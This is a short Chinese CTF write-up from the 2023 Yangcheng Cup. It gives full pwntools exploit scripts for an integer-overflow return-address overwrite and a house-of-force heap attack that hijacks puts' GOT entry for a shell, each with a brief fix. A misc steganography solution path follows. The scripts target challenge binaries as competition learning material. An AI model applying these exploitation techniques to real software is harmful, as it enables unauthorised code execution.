2023羊城杯部分wp 比赛时脑抽了,背大锅呜呜呜,简单写写记录下
pwn arrary_index_bank: 整数溢出,没什么好说的,“1”能泄露libc地址,“2”输入0x800000000000000f能修改返回地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' ,os='linux' ) p=process('./pwn' ) elf=ELF('./index' ) libc=ELF('./libc-2.31.so' ) sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) s = lambda a:p.send(a) sl = lambda a:p.sendline(a) ru = lambda s:p.recvuntil(s) rc = lambda s:p.recv(s) uu64=lambda data :u64(data.ljust(8 ,b'\x00' )) get_libc = lambda :u64(ru('\x7f' )[-6 :].ljust(8 ,b'\x00' )) plo = lambda o:p64(libc_base+o) sla('> ' ,b'1' ) sla('Whose account?\n' ,b'-1' ) p.recvuntil('accounts[-1] = ' ) stack_addr=int (p.recvuntil('\n' )[:-1 ],10 ) stack_addr-=0x1426 success('stack_addr:' +hex (stack_addr)) win=stack_addr+0x1310 +5 sla('> ' ,b'2' ) sla('Whose account?\n' ,b'-9223372036854775801' ) print (hex (win))print (win)sla('How much?\n' ,str (win)) p.interactive()
fix:修复判断正数跳转
ez_force: house of force,比赛时脑子抽了,最后十分钟才想起force这个东西,fix阶段全修完才继续做,背大锅了,不然能混个三等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' ,os='linux' ) p=process('./force' ) elf=ELF('./force' ) libc=ELF('./libc-2.23.so' ) sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) s = lambda a:p.send(a) sl = lambda a:p.sendline(a) ru = lambda s:p.recvuntil(s) rc = lambda s:p.recv(s) uu64=lambda data :u64(data.ljust(8 ,b'\x00' )) get_libc = lambda :u64(ru('\x7f' )[-6 :].ljust(8 ,b'\x00' )) plo = lambda o:p64(libc_base+o) def add (index,size,context ): sla('4.go away' ,b'1' ) sla('which index?\n' ,str (index)) sla('how much space do u want?\n' ,str (size)) sa('now what to write?\n' ,context) add(0 ,0x10 ,b'/bin/sh\x00' +p64(0 )*2 +p64(0xffffffffffffffff )) p.recvuntil('the balckbroad on ' ) heap_addr=int (p.recvuntil(' ' )[:-1 ],16 ) heap_base=heap_addr-0x1020 top_heap=heap_base+0x1030 put_got=elf.got['puts' ] success('heap:' +hex (heap_base)) offest=-(top_heap-put_got)+0x10 success('offest:' +hex (offest)) add(1 ,offest,b'/bin/sh\x00' ) add(2 ,0x10 ,b'\x47\x12\x8f' ) sla('4.go away' ,b'1' ) sla('which index?\n' ,b'3' ) sla('how much space do u want?\n' ,b'32' ) p.interactive()
fix:read的字节数控制跟创建堆块的大小一样
misc: ###easy00aes
emmmm,断网,有离线工具,一把梭了
简单写下思路:
foremost分离得到压缩包,密码是那张图片文件名base64,得到flag.jpg和key.txt,key.txt拿去零宽隐写得到key(大部分队伍卡在这一步,因为断网了),flag.jpg其实是png,改宽高得到密文,拿去aes解密即可得到flag